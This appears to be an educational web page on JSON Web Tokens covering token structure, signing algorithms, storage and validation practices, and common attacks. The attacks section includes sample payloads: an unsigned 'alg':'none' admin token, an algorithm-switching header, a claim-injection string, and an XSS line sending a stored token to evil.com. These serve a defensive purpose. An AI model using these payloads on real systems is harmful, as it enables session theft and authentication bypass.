JWT — JSON Web Tokens

Interactive Decoder, Token Structure, Signing Algorithms, and Security Best Practices

A JSON Web Token (JWT) is a compact, URL-safe token format defined in RFC 7519 that represents claims between two parties. JWTs are the de-facto standard for stateless authentication in modern web applications — the server issues a signed token containing user identity and permissions, and the client presents it on every request. Unlike server-side sessions that require a centralized store (Redis, database), JWTs carry all the needed information within the token itself, making them ideal for distributed microservice architectures where any service can independently verify the token without a round-trip to an auth server. A JWT is typically 300-800 bytes and consists of three Base64URL-encoded parts separated by dots: Header, Payload, and Signature.

There are two related specifications: JWS (JSON Web Signature, RFC 7515) provides integrity protection — the token is signed but the payload is readable by anyone who Base64-decodes it. JWE (JSON Web Encryption, RFC 7516) provides confidentiality — the payload is encrypted and only readable by the intended recipient. When people say "JWT" they almost always mean JWS. Understanding the difference is critical: a JWS token does not hide its contents. Never put sensitive data (passwords, SSNs, API keys) in a JWS payload — anyone intercepting the token can read it.

Token Structure — Three Parts

Every JWT consists of three Base64URL-encoded segments separated by dots. Each part serves a distinct purpose in the token lifecycle. The header declares the algorithm, the payload carries the claims, and the signature ensures integrity.

Header
{"alg":"HS256","typ":"JWT"}
Declares the signing algorithm (alg) and token type (typ). Tells the verifier which algorithm to use when checking the signature.
.
Payload
{"sub":"1234567890","name":"John Doe","iat":1516239022}
Contains the claims — statements about the entity (user) and metadata. Includes registered claims (iss, sub, aud, exp, iat) and custom claims.
.
Signature
HMACSHA256(base64url(header) + "." + base64url(payload), secret)
Computed by signing the header and payload with the secret key. Used to verify the token has not been tampered with and was issued by a trusted party.

Registered Claims (RFC 7519 Section 4.1)

iss (Issuer) — Who issued the token (e.g., "auth.example.com")
sub (Subject) — The principal that is the subject (e.g., user ID)
aud (Audience) — Intended recipient(s) of the token
exp (Expiration) — Unix timestamp after which the token is invalid
nbf (Not Before) — Unix timestamp before which the token is invalid
iat (Issued At) — Unix timestamp when the token was issued
jti (JWT ID) — Unique identifier to prevent token replay

Interactive JWT Decoder

Paste any JWT below to decode it in real time. The three parts are color-coded: Header, Payload, Signature. This decoder runs entirely client-side — your tokens never leave your browser.

HEADER
 
PAYLOAD
 
SIGNATURE

JWT Builder / Encoder

Build a JWT interactively. Configure the header and payload below — the encoded token updates in real time. Note: the signature is a structural placeholder since real signing requires a server-side secret key.

Token Expiration Calculator

Enter the iat (issued at) and exp (expiration) timestamps from a JWT payload to see human-readable dates, token lifetime, and whether the token is currently expired.

Issued At
Expires At
Token Lifetime
Status

Signing Algorithms Comparison

JWT supports multiple signing algorithms. The choice of algorithm affects security, performance, and key management complexity. Here is a detailed comparison of the four most common algorithms.

HS256

Symmetric

HMAC with SHA-256. Uses a single shared secret key for both signing and verification. The same key must be known by the token issuer and every service that needs to verify the token.

Key TypeShared secret (256+ bits)
PerformanceFastest — ~100,000 ops/sec
Signature Size32 bytes
Key DistributionSecret must be shared with all verifiers
Pros: Simple setup, fastest performance, smallest token size. Ideal for monolithic apps where the same server signs and verifies.
Cons: Secret sharing is a security risk. Any verifier can forge tokens. Cannot use with third-party verifiers. Key rotation requires coordinated updates across all services.

RS256

Asymmetric

RSASSA-PKCS1-v1_5 with SHA-256. Uses an RSA private key for signing and the corresponding public key for verification. The public key can be freely distributed via JWKS (JSON Web Key Set) endpoints.

Key TypeRSA key pair (2048+ bits)
PerformanceModerate — ~1,000 sign / ~30,000 verify per sec
Signature Size256 bytes (2048-bit key)
Key DistributionOnly public key needed for verification
Pros: Private key stays on auth server. Public key distributed via JWKS. Third parties can verify without being able to forge. Industry standard for OAuth 2.0 and OpenID Connect.
Cons: Larger token size. Signing is slower than HMAC. RSA key generation is expensive. PKCS#1 v1.5 padding is theoretically vulnerable (prefer PSS).

ES256

Asymmetric

ECDSA with P-256 curve and SHA-256. Uses elliptic curve cryptography for both signing and verification. Provides equivalent security to RSA with much smaller key sizes.

Key TypeEC key pair (P-256 / 256 bits)
PerformanceFast — ~10,000 sign / ~5,000 verify per sec
Signature Size64 bytes
Key DistributionOnly public key needed for verification
Pros: Smallest signatures (compact tokens). Fast signing and verification. Strong security with small keys. Recommended by NIST. Ideal for mobile/IoT where bandwidth matters.
Cons: Requires high-quality randomness for signing (weak RNG = leaked private key). Slightly less battle-tested than RSA in legacy systems. P-256 curve selection has been debated (some prefer Ed25519).

PS256

Asymmetric

RSASSA-PSS with SHA-256. An improved RSA signature scheme using Probabilistic Signature Scheme (PSS) padding. Provably secure under the RSA assumption, unlike PKCS#1 v1.5.

Key TypeRSA key pair (2048+ bits)
PerformanceModerate — similar to RS256
Signature Size256 bytes (2048-bit key)
Key DistributionOnly public key needed for verification
Pros: Provably secure RSA padding. Drop-in replacement for RS256 with better security guarantees. Required by some compliance frameworks (FAPI, PSD2).
Cons: Same large key/signature size as RS256. Not supported by all JWT libraries (especially older ones). Marginally slower than RS256 due to randomized padding.

Recommendation

For new projects: use ES256 for the best balance of security, performance, and token size. Use RS256 or PS256 when you need maximum compatibility with existing infrastructure. Use HS256 only for simple single-server setups where the signing and verifying entity is the same. Never use "alg":"none" in production.

Security Best Practices

JWTs are powerful but introduce unique security challenges. Follow these practices to avoid common pitfalls that lead to authentication bypasses, token theft, and privilege escalation.

Token Storage

Recommended
HttpOnly Secure Cookies
  • Immune to XSS — JavaScript cannot access the cookie
  • Automatically sent with every request to the domain
  • Set SameSite=Strict or Lax to prevent CSRF
  • Set Secure flag to require HTTPS
  • Set short Max-Age for session tokens
Risky
localStorage / sessionStorage
  • Accessible to any JavaScript running on the page
  • Single XSS vulnerability = full token theft
  • Token persists even after tab/browser close (localStorage)
  • No automatic expiration mechanism
  • Must manually attach to every request via header

Token Size Considerations

JWTs grow with every claim you add. A typical access token should be under 1KB. Oversized tokens increase bandwidth, slow down every API call, and can exceed cookie size limits (4KB). Keep payloads lean:

  • Store only essential claims in the token (user ID, roles, permissions)
  • Use short claim names for custom claims
  • Reference external data instead of embedding it ("org_id": 42 instead of full org object)
  • Consider splitting: short-lived access token (lean) + refresh token (separate)
  • RS256/PS256 signatures add ~256 bytes; prefer ES256 (64 bytes) if size matters

Claim Validation

Verifying the signature is necessary but not sufficient. Every verifier must also validate the claims:

  • exp — Reject expired tokens. Allow a small clock skew (30-60 seconds max)
  • nbf — Reject tokens used before their "not before" time
  • iss — Verify the issuer matches your expected auth server
  • aud — Verify the audience includes your service. A token for Service A must not be accepted by Service B
  • alg — Whitelist allowed algorithms. Never accept "none" or unexpected algorithms
  • iat — Optionally reject tokens issued too far in the past

Key Rotation

Signing keys should be rotated regularly (every 30-90 days) and immediately if compromised. Proper rotation requires overlap periods:

  • Publish new public key in JWKS endpoint before signing with the new private key
  • Include kid (Key ID) in JWT header to identify which key was used
  • Keep old public keys in JWKS for the max token lifetime after rotation
  • Verifiers should cache JWKS and refresh periodically (every 5-15 minutes)
  • Use automated rotation tools (AWS KMS, HashiCorp Vault, Auth0 key rotation)
  • For symmetric keys (HS256): coordinate secret rotation across all services simultaneously

Common JWT Attacks

Understanding attack vectors is essential for building secure JWT implementations. These are the most frequently exploited vulnerabilities in real-world JWT deployments.

Critical

"none" Algorithm Attack

How it works: The attacker modifies the JWT header to set "alg":"none" and removes the signature. Vulnerable libraries accept the unsigned token as valid, skipping signature verification entirely.

{"alg":"none","typ":"JWT"}.{"sub":"admin","role":"superuser"}.

Prevention: Never accept "alg":"none". Maintain a strict whitelist of allowed algorithms. Use JWT libraries that reject "none" by default (most modern libraries do). Always verify the signature even when the algorithm is not in your whitelist — reject with an error, do not skip verification.

Critical

Key Confusion / Algorithm Switching

How it works: The server is configured with RS256 (asymmetric) and publishes its RSA public key. The attacker changes the header to "alg":"HS256" and signs the token using the RSA public key as the HMAC secret. If the server naively reads the "alg" from the token header, it uses the public key as the HMAC secret — and the signature validates.

Header: {"alg":"HS256"} // Changed from RS256
Signed with: RSA_PUBLIC_KEY used as HMAC secret

Prevention: Never trust the "alg" claim from the token header to select the verification algorithm. Configure the expected algorithm on the server side and reject tokens that specify a different algorithm. Use asymmetric-only configurations when possible.

High

Token Sidejacking

How it works: The attacker steals a valid JWT via XSS, network interception (MITM), or by accessing browser storage. Since JWTs are bearer tokens, anyone possessing a valid token can use it until it expires — there is no built-in mechanism to revoke individual tokens.

// XSS payload to steal JWT from localStorage
fetch('https://evil.com/steal?t=' + localStorage.getItem('token'))

Prevention: Store tokens in HttpOnly cookies (immune to XSS). Use short expiration times (5-15 minutes for access tokens). Implement token binding (DPoP — RFC 9449) to bind tokens to a client's key pair. Maintain a server-side revocation list or use short-lived tokens with refresh token rotation.

Medium

Claim Injection / Manipulation

How it works: If the application generates JWTs by concatenating user input into the payload without proper validation, an attacker can inject additional claims. For example, adding "role":"admin" to a registration payload that gets embedded directly into the token.

// User-controlled input merged into claims
{"name":"John\",\"role\":\"admin"} // JSON injection

Prevention: Use structured JWT libraries that construct claims programmatically (never via string concatenation). Validate and sanitize all user input before including it in claims. The server should set role/permission claims from its own database, never from client input.

JWT vs Server-Side Sessions

JWTs and server-side sessions are both valid approaches to authentication. The right choice depends on your architecture, scale, and security requirements.

Aspect JWT (Stateless) Server-Side Session
Storage Client-side (cookie or header) Server-side store (Redis, DB, memory)
Scalability No shared state — any server can verify Requires shared session store or sticky sessions
Revocation Difficult — requires blacklist or short expiry Instant — delete from session store
Size per Request 300-800 bytes (entire token in every request) ~32 bytes (session ID only)
Cross-Domain Easy — send token to any domain Requires CORS configuration, cookie sharing
Microservices Each service verifies independently Each service needs session store access
Offline Verification Yes — only needs public key No — always requires store lookup
Data Freshness Stale until token expires and is re-issued Always current — reads from store
Implementation More complex (crypto, key management, rotation) Simpler — framework built-in support
Best For APIs, microservices, SPAs, mobile apps, SSO Monoliths, server-rendered apps, when instant revocation is critical

Base64URL Encode / Decode Utility

JWT uses Base64URL encoding (RFC 4648 Section 5) — a URL-safe variant of Base64 that replaces + with -, / with _, and omits padding =. Test the encoding and decoding below.

JWT (RFC 7519) is the foundation of modern token-based authentication. Master the structure, understand the algorithms, follow security best practices, and always validate claims rigorously.